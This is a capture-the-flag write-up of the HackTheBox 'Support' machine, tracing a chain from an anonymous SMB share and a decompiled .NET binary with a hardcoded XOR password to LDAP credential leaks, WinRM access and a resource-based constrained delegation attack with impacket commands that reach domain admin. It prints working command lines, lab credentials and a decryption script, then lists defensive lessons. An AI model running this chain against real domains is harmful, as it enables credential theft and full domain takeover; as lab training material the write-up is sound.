> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/support-from-credentials-to-domain-admin.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Support   From Credentials to Domain Admin

### Introduction

The HackTheBox "Support" machine is a masterclass in realistic Active Directory exploitation. It demonstrates how a single exposed credential can cascade through misconfigured permissions, ultimately leading to complete domain compromise.

In this writeup, we'll walk through the complete attack chain: from initial reconnaissance to extracting both the user and root flags. Along the way, we'll uncover vulnerabilities in SMB access controls, weak credential storage, and dangerous Active Directory delegation configurations.

### Reconnaissance: Mapping the Target

Let's start by identifying what's running on the machine with Nmap:

```bash
nmap -sC -sV -A <MACHINE-IP>
```

**Key Findings:**

* Port 53: DNS (Simple DNS Plus)
* Port 88: Kerberos
* Port 135/445: Windows RPC and SMB
* Port 389/3268: LDAP (Active Directory)
* Port 5985: WinRM (Windows Remote Management)

This is clearly a Windows Active Directory domain controller. The LDAP output reveals the domain name: `support.htb`

```bash
dig @<MACHINE-IP> support.htb any
echo "<MACHINE-IP> support.htb dc.support.htb" | sudo tee -a /etc/hosts
```

### SMB Enumeration: Finding the Weak Link

```bash
smbclient -L <MACHINE-IP>
```

```plaintext
Sharename         Type      Comment
─────────────────────────────────────
ADMIN$            Disk      Remote Admin
C$                Disk      Default share
IPC$              IPC       Remote IPC
NETLOGON          Disk      Logon server share
support-tools     Disk      support staff tools
SYSVOL            Disk      Logon server share
```

Most shares are protected, but there's a custom share: `support-tools` — accessible to everyone.

#### Downloading from the Support-Tools Share

```bash
smbclient //<MACHINE-IP>/support-tools -N
smb: \> ls
```

Files found:

* 7-ZipPortable\_21.07.paf.exe
* npp.8.4.1.portable.x64.zip
* putty.exe
* SysinternalsSuite.zip
* **UserInfo.exe.zip ← Suspicious**
* windirstat1\_1\_2\_setup.exe
* WiresharkPortable64\_3.6.5.paf.exe

```bash
smb: \> get UserInfo.exe.zip
unzip UserInfo.exe.zip
```

### Initial Foothold: Extracting Hidden Credentials

#### Identifying the Binary Type

```bash
file UserInfo.exe
# Output: PE32 executable (console) Intel 80386 Mono/.Net assembly
```

This is a 32-bit .NET application — easily decompiled back to source code.

#### Decompiling the Application

```bash
ilspycmd UserInfo.exe > output.cs
```

After analyzing the decompiled code, we discover something critical:

```csharp
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword()
{
    byte[] array = Convert.FromBase64String(enc_password);
    byte[] array2 = array;
    for (int i = 0; i < array.Length; i++)
    {
        array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
    }
    return Encoding.Default.GetString(array2);
}
```

**What we found:**

* Hardcoded Base64-encoded password
* XOR encryption key: `armando`
* Additional XOR constant: `0xDF`

#### Decrypting the Password

```python
#!/usr/bin/env python3
import base64
import sys

def decrypt_xor(enc_password, key, xor_constant=0xDF):
    if isinstance(key, str):
        key = key.encode()
    data = base64.b64decode(enc_password)
    decoded = bytearray()
    for i in range(len(data)):
        decoded.append((data[i] ^ key[i % len(key)]) ^ xor_constant)
    return decoded.decode()

if __name__ == "__main__":
    enc_password = sys.argv[1]
    key = sys.argv[2]
    xor_constant = int(sys.argv[3]) if len(sys.argv) > 3 else 0xDF
    try:
        decrypted = decrypt_xor(enc_password, key, xor_constant)
        print(f"[+] Decrypted: {decrypted}")
    except Exception as e:
        print(f"[-] Error: {e}", file=sys.stderr)
        sys.exit(1)
```

```bash
python3 decrypt.py 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E 'armando'
# [+] Decrypted: nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz
```

LDAP credentials: `ldap : nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz`

### LDAP Enumeration: Finding the Admin Password

```bash
ldapsearch -x -H ldap://<MACHINE-IP> \
  -D "support\\ldap" \
  -w 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "dc=support,dc=htb" \
  "(ObjectClass=User)" "*"
```

The `info` field on the support user contains plaintext credentials: `support : Ironside47pleasure40Watchful`

{% hint style="danger" %}
This is a critical security failure — passwords should never be stored in AD attributes in plaintext.
{% endhint %}

#### Mapping Permissions with BloodHound

```bash
bloodhound-python -d support.htb \
  -u ldap \
  -p 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -dc dc.support.htb \
  -ns <MACHINE-IP> \
  -c All
```

BloodHound reveals: the `support` user is a member of **Remote Management Users** — WinRM access is possible.

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/L1xRP92zQFGT4rfGMgpi/cd38qwja27slx7ygfyk9.png)

### User Flag: Getting Shell Access

```bash
evil-winrm -i <MACHINE-IP> -u support -p 'Ironside47pleasure40Watchful'
```

```plaintext
*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
11[REDACTED]c5
```

**User flag captured!**

### Privilege Escalation: The RBCD Attack

BloodHound shows a dangerous attack path:

![Image description](https://content.gitbook.com/content/pYE2nFwehgWS9IHYp4NS/blobs/M7USjlIGD09Kuaw0WJ8k/rzull54rcueh6m6o69vl.png)

```plaintext
support user → Shared Support Accounts → GenericAll over → Domain Controller
```

#### Understanding RBCD

RBCD allows a compromised computer account to impersonate any user when accessing another resource. By creating a fake computer and configuring it for delegation, we can impersonate the Administrator.

{% stepper %}
{% step %}

#### Creating a Fake Computer Account

```bash
impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' \
  -dc-ip <MACHINE-IP> \
  -computer-name 'FAKEPC$' \
  -computer-pass 'Pass123!@#'
```

{% endstep %}

{% step %}

#### Configuring Delegation

```bash
impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' \
  -delegate-from 'FAKEPC$' \
  -delegate-to 'DC$' \
  -action write \
  -dc-ip <MACHINE-IP>
```

{% endstep %}

{% step %}

#### Impersonating the Administrator

```bash
impacket-getST support.htb/'FAKEPC$':'Pass123!@#' \
  -spn cifs/dc.support.htb \
  -impersonate administrator \
  -dc-ip <MACHINE-IP>

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
```

{% endstep %}
{% endstepper %}

### Root Flag: Domain Admin Access

```bash
impacket-smbexec support.htb/administrator@dc.support.htb -k -no-pass
```

```plaintext
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
33d[REDACTED]daf
```

**Root flag captured!**

### Attack Chain Summary

| Step                 | Action                                                |
| -------------------- | ----------------------------------------------------- |
| Reconnaissance       | Nmap identified AD infrastructure                     |
| SMB Enumeration      | Anonymous access revealed UserInfo.exe.zip            |
| Binary Decompilation | ILSpy extracted XOR-encrypted LDAP credentials        |
| Credential Recovery  | Python script decrypted the password                  |
| LDAP Query           | Plaintext password found in support user's info field |
| WinRM Access         | Shell via evil-winrm                                  |
| Privilege Escalation | RBCD attack via BloodHound-identified path            |
| Domain Admin         | S4U2Proxy impersonated Administrator                  |

### Key Vulnerabilities & Lessons

1. **Anonymous SMB Share** — Disable anonymous access, enforce authentication.
2. **Hardcoded Credentials** — Use secret vaults, never embed credentials in code.
3. **Weak XOR Encryption** — Use AES with proper key management.
4. **Plaintext Credentials in LDAP** — Never store sensitive data in directory attributes.
5. **Unrestricted WinRM** — Restrict to trusted admin networks only.
6. **Over-Privileged Groups** — Enforce least privilege, audit memberships regularly.
7. **GenericAll on DC Object** — Review and restrict AD object permissions.
8. **Misconfigured RBCD** — Audit delegation configurations regularly.
9. **No Monitoring** — Implement AD logging and real-time alerting.

### Conclusion

The Support machine illustrates a common real-world scenario: a single exposed credential escalates into complete domain compromise through a chain of misconfigurations.

**Key Takeaways:**

* Never trust anonymous SMB shares — they're reconnaissance goldmines
* Always scrutinize binaries for hardcoded secrets
* Monitor and audit AD group memberships and permissions
* Implement the principle of least privilege
* Enable comprehensive logging and alerting for suspicious AD activity

This attack chain is entirely preventable with proper security controls. What's your biggest takeaway from this writeup?
